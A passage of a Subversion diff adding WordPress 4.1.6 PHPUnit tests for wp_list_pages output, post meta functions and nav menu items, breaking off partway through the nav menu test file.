Index: /tags/4.1.6/tests/phpunit/tests/post/listPages.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/listPages.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/listPages.php	(revision 33402)
@@ -0,0 +1,345 @@
+<?php
+
+class Tests_List_Pages extends WP_UnitTestCase {
+	var $pages;
+
+	/*
+	$defaults = array(
+		'depth' => 0,
+		'show_date' => '',
+		'date_format' => get_option('date_format'),
+		'child_of' => 0,
+		'exclude' => '',
+		'title_li' => __('Pages'),
+		'echo' => 1,
+		'authors' => '',
+		'sort_column' => 'menu_order, post_title',
+		'link_before' => '',
+		'link_after' => '',
+		'walker' => '',
+		'include'      => '',
+		'post_type'    => 'page',
+		'post_status'  => 'publish',
+	);
+	*/
+	function setUp() {
+		parent::setUp();
+		global $wpdb;
+		$wpdb->query( 'TRUNCATE ' . $wpdb->prefix . 'posts' );
+		$pages = array();
+		$this->factory->user->create();
+		$pages[] = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'Parent 1' ) );
+		$pages[] = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'Parent 2' ) );
+		$pages[] = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'Parent 3', 'post_author' => '2' ) );
+
+		foreach ( $pages as $page ) {
+			$this->pages[$page] = $this->factory->post->create( array( 'post_parent' => $page, 'post_type' => 'page', 'post_title' => 'Child 1' ) );
+			$this->pages[$page] = $this->factory->post->create( array( 'post_parent' => $page, 'post_type' => 'page', 'post_title' => 'Child 2' ) );
+			$this->pages[$page] = $this->factory->post->create( array( 'post_parent' => $page, 'post_type' => 'page', 'post_title' => 'Child 3' ) );
+		}
+	}
+
+	function test_wp_list_pages_default() {
+		$args = array(
+			'echo' => false
+		);
+		$expected['default'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['default'], $actual );
+	}
+
+	function test_wp_list_pages_depth() {
+		$args = array(
+			'echo' 	=> false,
+			'depth' => 1
+		);
+		$expected['depth'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a></li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['depth'], $actual );
+	}
+
+	function test_wp_list_pages_show_date() {
+		$args = array(
+			'echo' => false,
+			'depth' => 1,
+			'show_date' => true
+		);
+		$expected['show_date'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a> ' . date( 'F j, Y' ) . '</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a> ' . date( 'F j, Y' ) . '</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a> ' . date( 'F j, Y' ) . '</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['show_date'], $actual );
+	}
+
+	function test_wp_list_pages_date_format() {
+		$args = array(
+			'echo' => false,
+			'show_date' => true,
+			'date_format' => 'l, F j, Y'
+		);
+		$expected['date_format'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a> ' . date( 'l, F j, Y' ) . '
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a> ' . date( 'l, F j, Y' ) . '</li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a> ' . date( 'l, F j, Y' ) . '</li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a> ' . date( 'l, F j, Y' ) . '</li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a> ' . date( 'l, F j, Y' ) . '
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a> ' . date( 'l, F j, Y' ) . '</li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a> ' . date( 'l, F j, Y' ) . '</li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a> ' . date( 'l, F j, Y' ) . '</li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a> ' . date( 'l, F j, Y' ) . '
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a> ' . date( 'l, F j, Y' ) . '</li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a> ' . date( 'l, F j, Y' ) . '</li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a> ' . date( 'l, F j, Y' ) . '</li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['date_format'], $actual );
+	}
+
+	function test_wp_list_pages_child_of() {
+		$args = array(
+			'echo' => false,
+			'child_of' => 2
+		);
+		$expected['child_of'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['child_of'], $actual );
+	}
+
+	function test_wp_list_pages_exclude() {
+		$args = array(
+			'echo' => false,
+			'exclude' => '2, 2'
+		);
+		$expected['exclude'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['exclude'], $actual );
+	}
+
+	function test_wp_list_pages_title_li() {
+		$args = array(
+			'echo' => false,
+			'depth' => 1,
+			'title_li' => 'PageTitle'
+		);
+		$expected['title_li'] = '<li class="pagenav">PageTitle<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a></li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['title_li'], $actual );
+	}
+
+	function test_wp_list_pages_echo() {
+		$args = array(
+			'echo' => true,
+			'depth' => 1
+		);
+		$expected['echo'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a></li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		ob_start();
+		wp_list_pages( $args );
+		$actual = ob_get_clean();
+		$this->AssertEquals( $expected['echo'], $actual );
+	}
+
+	function test_wp_list_pages_authors() {
+		$args = array(
+			'echo' => false,
+			'authors' => '2',
+		);
+		$expected['authors'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-3"><a href="' . get_permalink( 3) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['authors'], $actual );
+	}
+
+	function test_wp_list_pages_number() {
+		$args = array(
+			'echo' => false,
+			'number' => 1,
+		);
+		$expected['number'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['number'], $actual );
+	}
+
+	function test_wp_list_pages_sort_column() {
+		$args = array(
+			'echo' => false,
+			'sort_column' => 'post_author',
+			'sort_order' => 'DESC'
+		);
+		$expected['sort_column'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['sort_column'], $actual );
+	}
+
+	function test_wp_list_pages_link_before() {
+		$args = array(
+			'echo' => false,
+			'link_before' => 'BEFORE'
+		);
+		$expected['link_before'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">BEFOREParent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">BEFOREChild 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">BEFOREChild 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">BEFOREChild 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">BEFOREParent 2</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">BEFOREChild 1</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">BEFOREChild 2</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">BEFOREChild 3</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">BEFOREParent 3</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">BEFOREChild 1</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">BEFOREChild 2</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">BEFOREChild 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['link_before'], $actual );
+	}
+
+	function test_wp_list_pages_link_after() {
+		$args = array(
+			'echo' => false,
+			'link_after' => 'AFTER'
+		);
+		$expected['link_after'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1AFTER</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1AFTER</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2AFTER</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3AFTER</a></li>
+</ul>
+</li>
+<li class="page_item page-item-2 page_item_has_children"><a href="' . get_permalink( 2 ) . '">Parent 2AFTER</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-7"><a href="' . get_permalink( 7 ) . '">Child 1AFTER</a></li>
+	<li class="page_item page-item-8"><a href="' . get_permalink( 8 ) . '">Child 2AFTER</a></li>
+	<li class="page_item page-item-9"><a href="' . get_permalink( 9 ) . '">Child 3AFTER</a></li>
+</ul>
+</li>
+<li class="page_item page-item-3 page_item_has_children"><a href="' . get_permalink( 3 ) . '">Parent 3AFTER</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-10"><a href="' . get_permalink( 10 ) . '">Child 1AFTER</a></li>
+	<li class="page_item page-item-11"><a href="' . get_permalink( 11 ) . '">Child 2AFTER</a></li>
+	<li class="page_item page-item-12"><a href="' . get_permalink( 12 ) . '">Child 3AFTER</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['link_after'], $actual );
+	}
+
+
+	function test_wp_list_pages_include() {
+		$args = array(
+			'echo' => false,
+			'include' => '1,3'
+		);
+		$expected['include'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1"><a href="' . get_permalink( 1 ) . '">Parent 1</a></li>
+<li class="page_item page-item-3"><a href="' . get_permalink( 3 ) . '">Parent 3</a></li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['include'], $actual );
+	}
+
+	function test_wp_list_pages_exclude_tree() {
+		$args = array(
+			'echo' => false,
+			'exclude_tree' => '2, 3'
+		);
+		$expected['exclude'] = '<li class="pagenav">Pages<ul><li class="page_item page-item-1 page_item_has_children"><a href="' . get_permalink( 1 ) . '">Parent 1</a>
+<ul class=\'children\'>
+	<li class="page_item page-item-4"><a href="' . get_permalink( 4 ) . '">Child 1</a></li>
+	<li class="page_item page-item-5"><a href="' . get_permalink( 5 ) . '">Child 2</a></li>
+	<li class="page_item page-item-6"><a href="' . get_permalink( 6 ) . '">Child 3</a></li>
+</ul>
+</li>
+</ul></li>';
+		$actual = wp_list_pages( $args );
+		$this->AssertEquals( $expected['exclude'], $actual );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/meta.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/meta.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/meta.php	(revision 33402)
@@ -0,0 +1,246 @@
+<?php
+
+/**
+ * @group post
+ * @group meta
+ */
+class Tests_Post_Meta extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		$this->author = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+
+		$post = array(
+			'post_author' => $this->author->ID,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+		);
+
+		// insert a post
+		$this->post_id = wp_insert_post($post);
+
+
+		$post = array(
+			'post_author' => $this->author->ID,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+		);
+
+		// insert a post
+		$this->post_id_2 = wp_insert_post($post);
+	}
+
+	function tearDown() {
+		wp_delete_post($this->post_id);
+		wp_delete_post($this->post_id_2);
+		parent::tearDown();
+	}
+
+	function test_unique_postmeta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique', 'value', true) );
+
+		// Check unique is enforced
+		$this->assertFalse(add_post_meta($this->post_id, 'unique', 'another value', true));
+
+		//Check it exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique', true));
+		$this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique', false));
+
+		//Fail to delete the wrong value
+		$this->assertFalse(delete_post_meta($this->post_id, 'unique', 'wrong value'));
+
+		//Delete it
+		$this->assertTrue(delete_post_meta($this->post_id, 'unique', 'value'));
+
+		//Check it is deleted
+		$this->assertEquals('', get_post_meta($this->post_id, 'unique', true));
+		$this->assertEquals(array(), get_post_meta($this->post_id, 'unique', false));
+
+	}
+
+	function test_nonunique_postmeta() {
+		// Add two non unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'value') );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'another value'));
+
+		//Check they exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'nonunique', true));
+		$this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique', false));
+
+		//Fail to delete the wrong value
+		$this->assertFalse(delete_post_meta($this->post_id, 'nonunique', 'wrong value'));
+
+		//Delete the first one
+		$this->assertTrue(delete_post_meta($this->post_id, 'nonunique', 'value'));
+
+		//Check the remainder exists
+		$this->assertEquals('another value', get_post_meta($this->post_id, 'nonunique', true));
+		$this->assertEquals(array('another value'), get_post_meta($this->post_id, 'nonunique', false));
+
+		//Add a third one
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique', 'someother value') );
+
+		//Check they exists
+		$expected = array(
+			'someother value',
+			'another value'
+		);
+		sort( $expected );
+		$this->assertTrue( in_array( get_post_meta( $this->post_id, 'nonunique', true ), $expected ) );
+		$actual = get_post_meta( $this->post_id, 'nonunique', false );
+		sort( $actual );
+		$this->assertEquals( $expected, $actual );
+
+		//Delete the lot
+		$this->assertTrue(delete_post_meta_by_key('nonunique'));
+	}
+
+	function test_update_post_meta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_update', 'value', true) );
+
+		// Add two non unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique_update', 'value') );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'nonunique_update', 'another value') );
+
+		//Check they exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('value', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+		// Update them
+		$this->assertTrue(update_post_meta($this->post_id, 'unique_update', 'new', 'value'));
+		$this->assertTrue(update_post_meta($this->post_id, 'nonunique_update', 'new', 'value'));
+		$this->assertTrue(update_post_meta($this->post_id, 'nonunique_update', 'another new', 'another value'));
+
+		//Check they updated
+		$this->assertEquals('new', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('new'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('new', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('new', 'another new'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+	}
+
+	function test_delete_post_meta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_delete', 'value', true) );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id_2, 'unique_delete', 'value', true) );
+
+		//Check they exists
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_delete', true));
+		$this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete', true));
+
+		//Delete one of them
+		$this->assertTrue(delete_post_meta($this->post_id, 'unique_delete', 'value'));
+
+		//Check the other still exitsts
+		$this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete', true));
+
+
+	}
+
+	function test_delete_post_meta_by_key() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'unique_delete_by_key', 'value', true) );
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id_2, 'unique_delete_by_key', 'value', true) );
+
+		//Check they exist
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_delete_by_key', true));
+		$this->assertEquals('value', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+
+		//Delete one of them
+		$this->assertTrue(delete_post_meta_by_key('unique_delete_by_key'));
+
+		//Check the other still exists
+		$this->assertEquals('', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+		$this->assertEquals('', get_post_meta($this->post_id_2, 'unique_delete_by_key', true));
+	}
+
+	function test_get_post_meta_by_id() {
+		$mid = add_post_meta( $this->post_id, 'get_post_meta_by_key', 'get_post_meta_by_key_value', true );
+		$this->assertInternalType( 'integer', $mid );
+
+		$mobj = new stdClass;
+		$mobj->meta_id = $mid;
+		$mobj->post_id = $this->post_id;
+		$mobj->meta_key = 'get_post_meta_by_key';
+		$mobj->meta_value = 'get_post_meta_by_key_value';
+		$this->assertEquals( $mobj, get_post_meta_by_id( $mid ) );
+		delete_metadata_by_mid( 'post', $mid );
+
+		$mid = add_post_meta( $this->post_id, 'get_post_meta_by_key', array( 'foo', 'bar' ), true );
+		$this->assertInternalType( 'integer', $mid );
+		$mobj->meta_id = $mid;
+		$mobj->meta_value = array( 'foo', 'bar' );
+		$this->assertEquals( $mobj, get_post_meta_by_id( $mid ) );
+		delete_metadata_by_mid( 'post', $mid );
+	}
+
+	function test_delete_meta() {
+		$mid = add_post_meta( $this->post_id, 'delete_meta', 'delete_meta_value', true );
+		$this->assertInternalType( 'integer', $mid );
+
+		$this->assertTrue( delete_meta( $mid ) );
+		$this->assertFalse( get_metadata_by_mid( 'post', $mid ) );
+
+		$this->assertFalse( delete_meta( 123456789 ) );
+	}
+
+	function test_update_meta() {
+		// Add a unique post meta item
+		$this->assertInternalType( 'integer', $mid1 = add_post_meta($this->post_id, 'unique_update', 'value', true) );
+
+		// Add two non unique post meta item
+		$this->assertInternalType( 'integer', $mid2 = add_post_meta($this->post_id, 'nonunique_update', 'value') );
+		$this->assertInternalType( 'integer', $mid3 = add_post_meta($this->post_id, 'nonunique_update', 'another value') );
+
+		//Check they exist
+		$this->assertEquals('value', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('value'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('value', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('value', 'another value'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+		// Update them
+		$this->assertTrue( update_meta( $mid1, 'unique_update', 'new' ) );
+		$this->assertTrue( update_meta( $mid2, 'nonunique_update', 'new' ) );
+		$this->assertTrue( update_meta( $mid3, 'nonunique_update', 'another new' ) );
+
+		//Check they updated
+		$this->assertEquals('new', get_post_meta($this->post_id, 'unique_update', true));
+		$this->assertEquals(array('new'), get_post_meta($this->post_id, 'unique_update', false));
+		$this->assertEquals('new', get_post_meta($this->post_id, 'nonunique_update', true));
+		$this->assertEquals(array('new', 'another new'), get_post_meta($this->post_id, 'nonunique_update', false));
+
+		// Slashed update
+		$data = "'quote and \slash";
+		$this->assertTrue( update_meta( $mid1, 'unique_update', addslashes( $data ) ) );
+		$meta = get_metadata_by_mid( 'post', $mid1 );
+		$this->assertEquals( $data, $meta->meta_value );
+	}
+
+	/**
+	 * @ticket 12860
+	 */
+	function test_funky_post_meta() {
+		$classy = new StdClass();
+		$classy->ID = 1;
+		$classy->stringy = "I love slashes\\\\";
+		$funky_meta[] = $classy;
+
+		$classy = new StdClass();
+		$classy->ID = 2;
+		$classy->stringy = "I love slashes\\\\ more";
+		$funky_meta[] = $classy;
+
+		// Add a post meta item
+		$this->assertInternalType( 'integer', add_post_meta($this->post_id, 'test_funky_post_meta', $funky_meta, true) );
+
+		//Check they exists
+		$this->assertEquals($funky_meta, get_post_meta($this->post_id, 'test_funky_post_meta', true));
+
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/nav-menu.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/nav-menu.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/nav-menu.php	(revision 33402)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * @group post
+ * @group navmenus
+ */
+class Test_Nav_Menus extends WP_UnitTestCase {
+	/**
+	 * @var int
+	 */
+	public $menu_id;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->menu_id = wp_create_nav_menu( rand_str() );
+	}
+
+	function test_wp_get_associated_nav_menu_items() {
+		$tag_id = $this->factory->tag->create();
+		$cat_id = $this->factory->category->create();
+		$post_id = $this->factory->post->create();
+		$post_2_id = $this->factory->post->create();
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+
+		$tag_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'post_tag',
+			'menu-item-object-id' => $tag_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$cat_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'category',
+			'menu-item-object-id' => $cat_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$post_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $post_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		// Item without menu-item-object arg
+		$post_2_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object-id' => $post_2_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$page_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'page',
+			'menu-item-object-id' => $page_id,
+			'menu-item-status' => 'publish'
+		) );
+
+		$tag_items = wp_get_associated_nav_menu_items( $tag_id, 'taxonomy', 'post_tag' );
+		$this->assertEqualSets( array( $tag_insert ), $tag_items );
+		$cat_items = wp_get_associated_nav_menu_items( $cat_id, 'taxonomy', 'category' );
+		$this->assertEqualSets( array( $cat_insert ), $cat_items );
+		$post_items = wp_get_associated_nav_menu_items( $post_id );
+		$this->assertEqualSets( array( $post_insert ), $post_items );
+		$post_2_items = wp_get_associated_nav_menu_items( $post_2_id );
+		$this->assertEqualSets( array( $post_2_insert ), $post_2_items );
+		$page_items = wp_get_associated_nav_menu_items( $page_id );
+		$this->assertEqualSets( array( $page_insert ), $page_items );
+
+		wp_delete_term( $tag_id, 'post_tag' );
+		$tag_items = wp_get_associated_nav_menu_items( $tag_id, 'taxonomy', 'post_tag' );
+		$this->assertEqualSets( array(), $tag_items );
+
+		wp_delete_term( $cat_id, 'category' );
+		$cat_items = wp_get_associated_nav_menu_items( $cat_id, 'taxonomy', 'category' );
+		$this->assertEqualSets( array(), $cat_items );
+
+		wp_delete_post( $post_id, true );
+		$post_items = wp_get_associated_nav_menu_items( $post_id );
+		$this->assertEqualSets( array(), $post_items );
+
+		wp_delete_post( $post_2_id, true );
+		$post_2_items = wp_get_associated_nav_menu_items( $post_2_id );
+		$this->assertEqualSets( array(), $post_2_items );
+
+		wp_delete_post( $page_id, true );
+		$page_items = wp_get_associated_nav_menu_items( $page_id );
+		$this->assertEqualSets( array(), $page_items );
+	}
+
+	/**
+	 * @ticket 27113
+	 */
+	function test_orphan_nav_menu_item() {
+
+		// Create an orphan nav menu item
+		$custom_item_id = wp_update_nav_menu_item( 0, 0, array(
+			'menu-item-type'      => 'custom',
+			'menu-item-title'     => 'Wordpress.org',
+			'menu-item-link'      => 'http://wordpress.org',
+			'menu-item-status'    => 'publish'
+		) );
+
+		// Confirm it saved properly
+		$custom_item = wp_setup_nav_menu_item( get_post( $custom_item_id ) );
+		$this->assertEquals( 'Wordpress.org', $custom_item->title );
+
+		// Update the orphan with an associated nav menu
+		wp_update_nav_menu_item( $this->menu_id, $custom_item_id, array( 
+			'menu-item-title'     => 'WordPress.org',
+			) );
